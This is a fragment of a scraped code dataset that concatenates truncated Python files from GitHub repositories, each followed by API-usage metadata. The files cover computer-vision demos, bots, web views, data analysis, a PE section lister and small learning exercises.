"line_number": 8,
"usage_type": "call"
},
{
"api_name": "pandas.read_csv",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "st_agg... |
74923077307 | import numpy as np
import pyautogui
import time
import imutils
import cv2
import mediapipe as mp
from pynput.keyboard import Key, Controller
keyboard = Controller()
mp_hands = mp.solutions.hands
hands = mp_hands.Hands()
mp_draw = mp.solutions.drawing_utils
cap = cv2.VideoCapture(0)
finger_tips = [8, 12, 16, 20]
th... | diganta121/PRO-C109 | take_screenshot.py | take_screenshot.py | py | 2,789 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "pynput.keyboard.Controller",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "mediapipe.solutions",
"line_number": 13,
"usage_type": "attribute"
},
{
"api_name": "mediapipe.solutions",
"line_number": 15,
"usage_type": "attribute"
},
{
"api_... |
5125390370 | """
Demonstration of the GazeTracking library.
Check the README.md for complete documentation.
"""
import time
import threading
import cv2
import numpy as np
from gaze_tracking import GazeTracking
import sys
from PyQt5 import QtCore
from PyQt5.QtCore import QCoreApplication
from PyQt5.QtGui import QImage,... | jinho17/eye_tracking_project | eye_tracking/Eyetracking/Eyetracking0501.py | Eyetracking0501.py | py | 10,223 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "cv2.VideoCapture",
"line_number": 26,
"usage_type": "call"
},
{
"api_name": "gaze_tracking.GazeTracking",
"line_number": 59,
"usage_type": "call"
},
{
"api_name": "PyQt5.QtWidgets.QApplication",
"line_number": 63,
"usage_type": "call"
},
{
"api_name... |
12454720392 | from selenium import webdriver
from webdriver_manager.chrome import ChromeDriverManager
# Configurações do ChromeDriver
chrome_options = webdriver.ChromeOptions()
chrome_options.add_argument('--headless') # Para executar em modo headless (sem janela do navegador)
# Iniciar o ChromeDriver
driver = webdriver.Chrome(Ch... | hericmr/OlhoVivo | sms.py | sms.py | py | 481 | python | pt | code | 0 | github-code | 6 | [
{
"api_name": "selenium.webdriver.ChromeOptions",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "selenium.webdriver",
"line_number": 5,
"usage_type": "name"
},
{
"api_name": "selenium.webdriver.Chrome",
"line_number": 9,
"usage_type": "call"
},
{
"api_na... |
19109140061 | from django.shortcuts import render, redirect
from time import strftime
def index(request):
data = {
"date": strftime("%B %d, %Y"), # automatically adds localtime() as parameter
"time": strftime("%I:%M %p")
}
return render(request,'myapp/index.html', data) | klandon94/django_intro | time_display/apps/myapp/views.py | views.py | py | 286 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "time.strftime",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "time.strftime",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "django.shortcuts.render",
"line_number": 10,
"usage_type": "call"
}
] |
71049150269 | from functools import reduce
import time
def add(x, y):
return x + y
# 匿名函数
f = lambda x, y: x + y
# 三元表达式
x, y = 2,3
r = x if x > y else y
# map
list_x = [1, 2, 3, 4]
m = map(lambda x: x*x, list_x)
print(list(m)) # [1, 4, 9, 16]
# map 多个参数
list_y = [2, 3, 4, 5]
m2 = map(lambda x, y: x*x + y , list_x, list... | xxg3053/learn-python | lang/high.py | high.py | py | 942 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "functools.reduce",
"line_number": 28,
"usage_type": "call"
},
{
"api_name": "functools.reduce",
"line_number": 30,
"usage_type": "call"
}
] |
43347091848 | import tikzplotlib
from tensorboard.data.experimental import ExperimentFromDev
import re
from collections import defaultdict
import matplotlib.pyplot as plt
import numpy as np
import pickle
def group_by_repetition(scalars):
runs = scalars.run.unique()
# each run has name job*_A --> no repetition... | charleswilmot/coppelia_sim_inverse_model | src/aggregate_runs.py | aggregate_runs.py | py | 5,903 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "collections.defaultdict",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "re.match",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "re.match",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "collections.defaultdict",
... |
42408411037 | # Телеграмм-бот для конвертации валют: @valuta_course_bot
import telebot
from config import keys, TOKEN
from extensions import APIException, CurrencyConverter
bot = telebot.TeleBot(TOKEN)
@bot.message_handler(commands=['start'])
def function_start(message: telebot.types.Message):
bot.send_message(message.chat.id,... | TamaraRiga/Control-project-18.6 | app.py | app.py | py | 2,545 | python | ru | code | 0 | github-code | 6 | [
{
"api_name": "telebot.TeleBot",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "config.TOKEN",
"line_number": 6,
"usage_type": "argument"
},
{
"api_name": "telebot.types",
"line_number": 9,
"usage_type": "attribute"
},
{
"api_name": "telebot.types",
... |
43974550604 | import re
from collections import defaultdict
from typing import List
class Solution:
def mostCommonWord(self, paragraph: str, banned: List[str]) -> str:
counter = defaultdict() # 딕셔너리 선언
split = re.split('[! ?.,;\']', paragraph) # multiple delimiter
for word in split: # 잘라둔 문자열 순회
... | HJ-Rich/leetcode | 819-most-common-word/819-most-common-word.py | 819-most-common-word.py | py | 980 | python | ko | code | 1 | github-code | 6 | [
{
"api_name": "typing.List",
"line_number": 7,
"usage_type": "name"
},
{
"api_name": "collections.defaultdict",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "re.split",
"line_number": 9,
"usage_type": "call"
}
] |
40145168774 | #!/usr/bin/env python
from lxml import html
import wikipedia
with open('movies.txt','r') as f:
movies = f.read().strip().split('\n')
m = movies[0]
html = wikipedia.page(m).html()
tree = html.fromstring(html)
director = tree.xpath('//')
| luster/is-pepsi-okay | script/scrape.py | scrape.py | py | 245 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "lxml.html",
"line_number": 11,
"usage_type": "name"
},
{
"api_name": "wikipedia.page",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "lxml.html.fromstring",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "lxml.html",
"line_n... |
71802647227 | import pefile
import sys
import os
import json
def locate_data_sections(pe):
data_sections = []
for section in pe.sections:
if section.Name == b'.text\x00\x00\x00':
data_sections.append({
'name': section.Name,
'virtual_address': hex(section.VirtualAddress),
'virtual_size': hex(sec... | luiz-cesar/CDadosSeg | T2/Parte2/exe_analysis.py | exe_analysis.py | py | 715 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "sys.argv",
"line_number": 18,
"usage_type": "attribute"
},
{
"api_name": "os.listdir",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "pefile.PE",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "os.path.join",
"line_number": ... |
716738610 | import pytest
import json
from sovrin_client.test.cli.constants import INVALID_SYNTAX
from sovrin_client.test.cli.helper import createUuidIdentifier, addNym
attrib_name = 'dateOfBirth'
ATTRIBUTE_ADDED = 'Attribute added for nym {valid_dest}'
RETURNED_DATA = ['Found attribute', attrib_name, 'dayOfMonth', 'year', 'mon... | hyperledger-archives/indy-client | sovrin_client/test/cli/test_send_get_attr.py | test_send_get_attr.py | py | 2,791 | python | en | code | 18 | github-code | 6 | [
{
"api_name": "sovrin_client.test.cli.helper.createUuidIdentifier",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "sovrin_client.test.cli.helper.createUuidIdentifier",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "sovrin_client.test.cli.helper.addNym",
... |
28978147496 | import tkinter as tk
import pygubu
import cv2
import copy
import numpy as np
class Application:
def __init__(self, master):
self.master = master
#create builder
self.builder = builder = pygubu.Builder()
#load ui file
builder.add_from_file('hw1.ui')
#create a widget
self.mainwindow = builder.get_object... | F74036378/IMAGE_DEAL1 | hw1.py | hw1.py | py | 4,397 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "pygubu.Builder",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "cv2.imread",
"line_number": 28,
"usage_type": "call"
},
{
"api_name": "cv2.imshow",
"line_number": 30,
"usage_type": "call"
},
{
"api_name": "cv2.waitKey",
"line_number":... |
40333382628 | from loguru import logger
from gpiozero import Button
from fabiotobox.camera import Camera
from fabiotobox.diaporama import Diaporama
from fabiotobox.photohandler import PhotoHandler
from fabiotobox.tumblr import Tumblr
from enum import IntEnum
import pendulum
import time
SCREENSAVER_DELAY = 1
class PhotoFormat(IntE... | fabiolab/photobox | fabiotobox/fabiotobox.py | fabiotobox.py | py | 3,580 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "enum.IntEnum",
"line_number": 14,
"usage_type": "name"
},
{
"api_name": "enum.IntEnum",
"line_number": 19,
"usage_type": "name"
},
{
"api_name": "fabiotobox.camera.Camera",
"line_number": 27,
"usage_type": "name"
},
{
"api_name": "fabiotobox.photoha... |
40504216527 | import os
import subprocess
import tempfile
import nbformat
import pytest
IGNORE_NOTEBOOKS: list[str] = [
"12_ResDMD.ipynb",
"12_koopman_mpc.ipynb",
"koopman_mpc.ipynb",
]
def _notebook_run(path):
"""Execute a notebook via nbconvert and collect output. Returns the parsed notebook object
and the ... | datafold-dev/datafold | tutorials/tests/test_notebooks.py | test_notebooks.py | py | 1,932 | python | en | code | 13 | github-code | 6 | [
{
"api_name": "os.path.split",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 22,
"usage_type": "attribute"
},
{
"api_name": "os.chdir",
"line_number": 23,
"usage_type": "call"
},
{
"api_name": "tempfile.NamedTemporaryFile",
... |
9064742045 | from utils import readEdgeList, split_between_last_char
import numpy as np
import time
from ResultWritter import ResultWritter
import os
class KTupleFeatureGenerator:
def __init__(self, path, k = 5, sample_times = 100, thread_num = 40):
self.path = path
self.k = k
self.sample_times = sample... | anonydeepgraphlet/DeepGraphlet | src/k_tuple_feature_generator.py | k_tuple_feature_generator.py | py | 1,538 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "os.system",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "os.system",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "utils.split_between_last_char",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "os.path.exists",
... |
23731980444 | from collections import abc
from typing import Any, Callable, Dict, List, Optional, Union
def remove_nulls(data: Union[List, Dict],
value_filter: Optional[Callable[[Any], bool]] = None) -> Union[List, Dict]:
""" Given a list or dict, returns an object of the same structure without filtered values... | rylativity/python-utils | dataprep.py | dataprep.py | py | 2,193 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "typing.Union",
"line_number": 5,
"usage_type": "name"
},
{
"api_name": "typing.List",
"line_number": 5,
"usage_type": "name"
},
{
"api_name": "typing.Dict",
"line_number": 5,
"usage_type": "name"
},
{
"api_name": "typing.Optional",
"line_number"... |
73954150588 | import cv2
import sys
from emot import emo_det
cascPath = "webcam.xml"
faceCascade = cv2.CascadeClassifier(cascPath)
font = cv2.FONT_HERSHEY_SIMPLEX
video_capture = cv2.VideoCapture(0)
while True:
# Capture frame-by-frame
ret, frame = video_capture.read()
gray = cv2.cvtColor(frame, cv2.COL... | allansuresh/face-emo-detect | det.py | det.py | py | 1,087 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "cv2.CascadeClassifier",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "cv2.FONT_HERSHEY_SIMPLEX",
"line_number": 8,
"usage_type": "attribute"
},
{
"api_name": "cv2.VideoCapture",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "cv2... |
34473798674 | import numpy as np
from scipy.optimize import curve_fit
import sys
def fit_DD(d, ik, imu, f, fit=None, p0=None, ilambda_max=None):
"""
Fit P_DD(k, mu, lambda) with an given function
f(lambda, y0, ...) = PDD_0 + f(lambda)
Args:
d (dict): lambda data returned by load_lambda()
ik (int): ... | junkoda/lambda | lib/lambdalib/lambda_fitting.py | lambda_fitting.py | py | 8,421 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "numpy.isfinite",
"line_number": 31,
"usage_type": "call"
},
{
"api_name": "scipy.optimize.curve_fit",
"line_number": 42,
"usage_type": "call"
},
{
"api_name": "numpy.isfinite",
"line_number": 77,
"usage_type": "call"
},
{
"api_name": "scipy.optimize... |
23190704074 | import csv
from django.core.management.base import BaseCommand
from recipes.models import Tag
class Command(BaseCommand):
help = 'Добавить список тэгов в базу (цвет и наименование)'
def handle(self, *args, **options):
with open('recipes/presets/tags.csv',
'r',
en... | mechnotech/foodgram-project | recipes/management/commands/add_tags.py | add_tags.py | py | 825 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "django.core.management.base.BaseCommand",
"line_number": 8,
"usage_type": "name"
},
{
"api_name": "csv.reader",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "recipes.models.Tag.objects.count",
"line_number": 17,
"usage_type": "call"
},
{
... |
6858043580 | ### Introduction to Pytorch Workflow timestamp to where it starts (link: https://www.youtube.com/watch?v=V_xro1bcAuA): 4:22:01
import torch
from torch import nn #nn contains all of pytorch's building blocks for neuro networks, pytorch documentation has a lot of building blocks for all sorts of layers
#you can combine... | attackGoose/AI-Notebook-and-projects | pytorch/Learning stuff/2_Learning_pytorch_workflow.py | 2_Learning_pytorch_workflow.py | py | 15,967 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "torch.arange",
"line_number": 28,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplot.figure",
"line_number": 70,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplot",
"line_number": 70,
"usage_type": "name"
},
{
"api_name": "matplotlib.py... |
19491319237 | from Permission import Permission
import pandas as pd
import requests
class Get_info:
urlMarvel = 'http://gateway.marvel.com/v1/public/characters/' #Marvel API's url
def __init__ (self, id):
"""Accessing Marvel API to get information about desired character using its id.
Information retri... | Guibas1812/create-api-marvel-characters | Get_Info.py | Get_Info.py | py | 2,168 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "requests.get",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "Permission.Permission",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "requests.get",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "Permission.Permission... |
25993094849 | from datetime import datetime
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField, TextAreaField, SelectField, FloatField
from wtforms.validators import DataRequired, Length, Regexp
class NewOrderForm(FlaskForm):
description = TextAreaField("Опис: ",
valid... | 1Lorde/orders-tracker | orders_tracker/forms.py | forms.py | py | 4,563 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "flask_wtf.FlaskForm",
"line_number": 8,
"usage_type": "name"
},
{
"api_name": "wtforms.TextAreaField",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "wtforms.validators.DataRequired",
"line_number": 10,
"usage_type": "call"
},
{
"api_name"... |
43734236645 | # -*- coding: utf-8 -*-
"""
Created on Fri Apr 16 13:14:57 2021
@author: Samael Olascoaga
@email: olaskuaga@gmail.com
"""
import pandas as pd
import gseapy as gp
import matplotlib.pyplot as plt
from gseapy.plot import barplot, dotplot
import numpy as np
import seaborn as sns
sns.set_style("whitegrid")... | Olascoaga/Senotherapy | ora.py | ora.py | py | 1,448 | python | en | code | 1 | github-code | 6 | [
{
"api_name": "seaborn.set_style",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "pandas.read_csv",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "gseapy.get_library_name",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "gseapy.enri... |
73554593149 | import numpy as np
from functions import mean_absolute_percentage_error
import torch
data = np.load('predictions.npz')
h_label = data['labels']
h_pred = data['pred']
indices_under_1500 = h_label < 1500
indices_under_1300 = h_label < 1300
h_pred = torch.Tensor(h_pred)
h_label = torch.Tensor(h_label)
h_pred_under_1500... | arseniybelkov/Determining_HOCB | auxillary_functions/analizePredictions.py | analizePredictions.py | py | 1,015 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "numpy.load",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "torch.Tensor",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "torch.Tensor",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "functions.mean_absolute_percentag... |
40411416951 | #!/usr/bin/env python3
"""
Name: vpc_consistency.py
Description: NXAPI: display inconsistent vpc parameters
Example output when vpc is consistent:
% ./vpc_consistency.py --vault hashicorp --devices cvd_leaf_2 --interface Po11,Po12
192.168.11.103 cvd-1312-leaf all 22 global vpc params are consistent
192.168.11... | allenrobel/nxapi-netbox | scripts/vpc_consistency.py | vpc_consistency.py | py | 6,995 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "argparse.ArgumentParser",
"line_number": 61,
"usage_type": "call"
},
{
"api_name": "nxapi_netbox.args.args_cookie.ArgsCookie",
"line_number": 63,
"usage_type": "name"
},
{
"api_name": "nxapi_netbox.args.args_nxapi_tools.ArgsNxapiTools",
"line_number": 63,
"... |
17791637310 | # Download the audio files for all of the video URLs given in the input file
import argparse
import os
import sys
youtube_cmd = \
"youtube-dl --extract-audio --audio-format mp3 -o \"{file_name}\" {url}"
def download_song(artist, song, url):
artist_part = '-'.join(artist.lower().split())
song_part = '... | S0l0m4n/random-code | python/download_songs/youtube_download.py | youtube_download.py | py | 3,450 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "os.system",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "os.SEEK_CUR",
"line_number": 33,
"usage_type": "attribute"
},
{
"api_name": "os.SEEK_CUR",
"line_number": 34,
"usage_type": "attribute"
},
{
"api_name": "sys.exc_info",
"line_... |
15422153495 | from os import path
from setuptools import setup
# read the contents of your description file
this_directory = path.abspath(path.dirname(__file__))
with open(path.join(this_directory, 'README.md'), encoding='utf-8') as f:
long_description = f.read()
setup(
name="pyswahili",
version="0.1.4",
descripti... | Kalebu/pyswahili | setup.py | setup.py | py | 1,661 | python | en | code | 79 | github-code | 6 | [
{
"api_name": "os.path.abspath",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 6,
"usage_type": "name"
},
{
"api_name": "os.path.dirname",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "os.path.join",
"line_number"... |
37182738964 | from abc import ABC, abstractmethod
from typing import List
import requests
from config import EnvConfig
from models.Note import Card, DeckServiceCard
class DeckServiceAPIInterface(ABC):
@abstractmethod
def save_cards(self, user_id: str, deck_id: str, cards: List[Card]):
pass
class DeckServiceAPI(D... | MoShrank/card-generation-service | external/DeckServiceAPI.py | DeckServiceAPI.py | py | 1,105 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "abc.ABC",
"line_number": 9,
"usage_type": "name"
},
{
"api_name": "typing.List",
"line_number": 11,
"usage_type": "name"
},
{
"api_name": "models.Note.Card",
"line_number": 11,
"usage_type": "name"
},
{
"api_name": "abc.abstractmethod",
"line_nu... |
910883870 | import numpy as np, h5py as h5
from horton import * # pylint: disable=wildcard-import,unused-wildcard-import
from horton.part.test.common import get_proatomdb_cp2k
from horton.test.common import tmpdir
def test_db_basics():
padb = ProAtomDB.from_refatoms(numbers=[8, 1], max_cation=1, max_anion=1)
assert pad... | theochem/horton | horton/part/test/test_proatomdb.py | test_proatomdb.py | py | 7,845 | python | en | code | 83 | github-code | 6 | [
{
"api_name": "horton.part.test.common.get_proatomdb_cp2k",
"line_number": 34,
"usage_type": "call"
},
{
"api_name": "h5py.File",
"line_number": 85,
"usage_type": "call"
},
{
"api_name": "horton.test.common.tmpdir",
"line_number": 96,
"usage_type": "call"
},
{
"ap... |
36767766109 | '''
Author : knight_byte
File : A_Die_Roll.py
Created on : 2021-04-14 09:25:32
'''
from fractions import Fraction
def main():
y, w = map(int, input().split())
d = 6-max(y, w)+1
print(Fraction(d, 6) if d != 6 else "1/1")
if __name__ == '__main__':
main()
| arbkm22/Codeforces-Problemset-Solution | Python/A_Die_Roll.py | A_Die_Roll.py | py | 284 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "fractions.Fraction",
"line_number": 12,
"usage_type": "call"
}
] |
33625318941 | from util import logging
from training.util import monitor_loss
import tensorflow as tf
import streamlit as st
import os
import time
import numpy as np
import pandas as pd
def batch_loss(model, inp, aux, targ, loss_funct, opt = None):
loss = 0
with tf.GradientTape() as tape:
pred = model(inp, aux, tr... | giobbu/ML-streamlit-apps | geo-ML/road-traffic-forecasting-belgium/training/train_module.py | train_module.py | py | 3,373 | python | en | code | 1 | github-code | 6 | [
{
"api_name": "tensorflow.GradientTape",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "os.path.exists",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 24,
"usage_type": "attribute"
},
{
"api_name": "os.makedirs",
... |
34832241170 | import cv2
import numpy as np
img = np.zeros((600, 600, 3), np.uint8) #全为0表示是黑色
"""
img.shape[1]代表图片的宽度
img.shape[0]代表图片的高度(长度)
"""
#画直线
cv2.line(img, (0,0), (img.shape[1], img.shape[0]), (255,255,255), 2) #参数:物件、起始座标、终点座标、颜色、粗度
#画方型 (cv2.FILLED代表填满)
cv2.rectangle(img, (100, 100), (200, 200), (0,255,255), 2)
cv2.re... | jim2832/Image-Recognition | draw.py | draw.py | py | 1,114 | python | zh | code | 0 | github-code | 6 | [
{
"api_name": "numpy.zeros",
"line_number": 4,
"usage_type": "call"
},
{
"api_name": "numpy.uint8",
"line_number": 4,
"usage_type": "attribute"
},
{
"api_name": "cv2.line",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "cv2.rectangle",
"line_number"... |
4352669045 | from flask import Flask, render_template, request, redirect, session
app = Flask(__name__)
app.secret_key = "No secrets on github or youtube"
@app.route('/')
def index():
return render_template('index.html')
@app.route('/submit', methods=['POST'])
def submit():
print(request.form)
session['name'] = reque... | kwersland/coding_dojo-Python | flask/fundamentals/post_form/server.py | server.py | py | 601 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "flask.Flask",
"line_number": 2,
"usage_type": "call"
},
{
"api_name": "flask.render_template",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "flask.request.form",
"line_number": 12,
"usage_type": "attribute"
},
{
"api_name": "flask.request... |
23312692887 | import discord
import os
from data_loader import input_text_parser
from data_loader import input_image_parser
image_path = "./images"
text_path = "./text"
token = open("token.txt", "r").read()
# change cwd in case this is called from shell script
os.chdir(os.path.dirname(os.path.abspath(__file__)))
# create data ob... | WireHallMedic/Encyclopedia-Bottanica | encyclopedia_bottanica.py | encyclopedia_bottanica.py | py | 1,802 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "os.chdir",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "os.path.dirname",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 12,
"usage_type": "attribute"
},
{
"api_name": "os.path.abspath",
"line_num... |
28352614903 | from django.shortcuts import render, HttpResponseRedirect, HttpResponse
from django.core.urlresolvers import reverse
from django.contrib.auth.models import User
from django.contrib.auth import login, authenticate, logout
from django.core.context_processors import csrf
from django.views.decorators.csrf import csrf_prote... | sanjayramesh005/chat-app | second/views.py | views.py | py | 2,958 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "django.views.generic.View",
"line_number": 18,
"usage_type": "name"
},
{
"api_name": "django.utils.decorators.method_decorator",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "django.contrib.auth.decorators.login_required",
"line_number": 20,
"us... |
4492425254 | import xml.etree.ElementTree as ET
from fastapi import FastAPI, Path
from fastapi.responses import Response
app = FastAPI()
@app.get("/IF01/{name}")
async def get(
name: str = Path(title="名前"),
):
root = ET.Element("root")
# 「番号タグ」というどうしようもないゴミ
nameElement = ET.SubElement(root, "DT0001")
nameEl... | ikemo3/conveni-pdf-example | terrible-api/src/main.py | main.py | py | 809 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "fastapi.FastAPI",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "fastapi.Path",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "xml.etree.ElementTree.Element",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "xml.etree.E... |
35428259157 | import pickle
from typing import List, Tuple
import matplotlib.pyplot as plt
import matplotlib.patches as mpatches
def plot_segments(
true_segment_list: List[Tuple[float, float]],
pred_segment_list: List[Tuple[float, float]],
t_min: float = None,
t_max: float = None,
zoom: bool = True,
marker... | robincourant/FunnyNet | laughter_detection/core/utils.py | utils.py | py | 3,805 | python | en | code | 1 | github-code | 6 | [
{
"api_name": "typing.List",
"line_number": 9,
"usage_type": "name"
},
{
"api_name": "typing.Tuple",
"line_number": 9,
"usage_type": "name"
},
{
"api_name": "typing.List",
"line_number": 10,
"usage_type": "name"
},
{
"api_name": "typing.Tuple",
"line_number": ... |
6998246271 | from csv import DictReader
from glob import glob
from random import choices
from datetime import date
import numpy as np
import matplotlib.pyplot as plt
from statistics import mean
from dataclasses import dataclass
'''
for traders with less than 25k in their brokerage accounts, three day trades are allowed per five d... | joshparkerj/day-trader | simulate.py | simulate.py | py | 3,898 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "glob.glob",
"line_number": 37,
"usage_type": "call"
},
{
"api_name": "datetime.date",
"line_number": 46,
"usage_type": "name"
},
{
"api_name": "dataclasses.dataclass",
"line_number": 41,
"usage_type": "name"
},
{
"api_name": "csv.DictReader",
"l... |
19271398173 | # coding=utf-8
from __future__ import unicode_literals
from django.contrib import admin
from django.http import HttpResponseRedirect
from django.conf.urls import url
from django.utils.html import format_html
from django.core.urlresolvers import reverse
from ordered_model.admin import OrderedModelAdmin
from monitoreo.... | datosgobar/monitoreo-apertura | monitoreo/apps/dashboard/admin/indicator_types.py | indicator_types.py | py | 4,952 | python | en | code | 5 | github-code | 6 | [
{
"api_name": "ordered_model.admin.OrderedModelAdmin",
"line_number": 17,
"usage_type": "name"
},
{
"api_name": "django.contrib.admin.register",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "monitoreo.apps.dashboard.models.TableColumn",
"line_number": 16,
"usa... |
18227651268 |
from flask import Flask, render_template, session, request, url_for, redirect, flash
app = Flask(__name__)
@app.route("/")
def hello():
print ("hello there")
return render_template("home.html")
if __name__ == "__main__":
app.debug = True
app.run()
| TimMarder/determinants--marderT_canaleB_liuA_hasanA | app.py | app.py | py | 269 | python | en | code | 2 | github-code | 6 | [
{
"api_name": "flask.Flask",
"line_number": 4,
"usage_type": "call"
},
{
"api_name": "flask.render_template",
"line_number": 9,
"usage_type": "call"
}
] |
38679091876 | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import os
import shutil
import subprocess
import sys
from setuptools import setup, find_packages, Distribution
import setuptools.command.build_ext as _build_ext
# Ideally, we could include these files by putt... | ray-project/sandbox | python/setup.py | setup.py | py | 4,842 | python | en | code | 4 | github-code | 6 | [
{
"api_name": "os.environ",
"line_number": 42,
"usage_type": "attribute"
},
{
"api_name": "setuptools.command.build_ext.build_ext",
"line_number": 56,
"usage_type": "attribute"
},
{
"api_name": "setuptools.command.build_ext",
"line_number": 56,
"usage_type": "name"
},
... |
42688926971 | import logging
import time
import uuid
from queue import Queue
from threading import Event, Thread
import zmq
class ControlClient(Thread):
def __init__(self, port: int):
super(ControlClient, self).__init__()
self.daemon = True
self.command_queue = Queue()
self.command_return = {}
... | ograsdijk/CeNTREX-compressorcabinet | centrex_compressorcabinet/networking/controller_client.py | controller_client.py | py | 2,107 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "threading.Thread",
"line_number": 10,
"usage_type": "name"
},
{
"api_name": "queue.Queue",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "queue.Queue",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "zmq.Context",
"line_numb... |
16179638713 | import os
import torch
import wandb
import argparse
import numpy as np
import pandas as pd
from sklearn.model_selection import StratifiedKFold
from sklearn.experimental import enable_iterative_imputer
from sklearn.impute import IterativeImputer
from sklearn.preprocessing import StandardScaler
from sklearn.metrics impor... | jrepifano/mortality-tool | wandb_training/d_train_wandb.py | d_train_wandb.py | py | 5,410 | python | en | code | 0 | github-code | 6 | [
{
"api_name": "os.environ",
"line_number": 14,
"usage_type": "attribute"
},
{
"api_name": "os.environ",
"line_number": 15,
"usage_type": "attribute"
},
{
"api_name": "argparse.ArgumentParser",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "torch.nn",
... |
8385089331 | from __future__ import absolute_import
import os
import sys
import re
import xml.dom.minidom
import random
from sumolib.files.additional import write_additional_minidom
try:
from typing import Any, List, Tuple, Union
except ImportError:
# there are python2 versions on MacOS coming without typing
pass
"""
C... | ngctnnnn/DRL_Traffic-Signal-Control | sumo-rl/sumo/tools/sumolib/vehicletype.py | vehicletype.py | py | 12,625 | python | en | code | 17 | github-code | 6 | [
{
"api_name": "random.normalvariate",
"line_number": 72,
"usage_type": "call"
},
{
"api_name": "random.lognormvariate",
"line_number": 81,
"usage_type": "call"
},
{
"api_name": "random.normalvariate",
"line_number": 93,
"usage_type": "call"
},
{
"api_name": "rando... |
314473279 |
import os
from util.IO import IO
from util.Event import Event
import matplotlib.pyplot as plt
from matplotlib import rc
import numpy as np
from datetime import date, timedelta, datetime
import pandas as pd
class Calendar:
def __init__(self, username):
self.usernames = username
io = IO(self.user... | noahfranz13/IOU | util/Calendar.py | Calendar.py | py | 4,071 | python | en | code | 1 | github-code | 6 | [
{
"api_name": "util.IO.IO",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "pandas.read_sql",
"line_number": 33,
"usage_type": "call"
},
{
"api_name": "util.Event.Event",
"line_number": 36,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplot.subplot... |
36108675828 | from calendar import weekday
import os
import zipfile
import numpy as np
import torch
import sklearn.metrics as metrics
import matplotlib.pyplot as plt
# if dataset == "alpha":
# if (not os.path.isfile("DC_STGCN/data/adj_mat_alpha.npy")
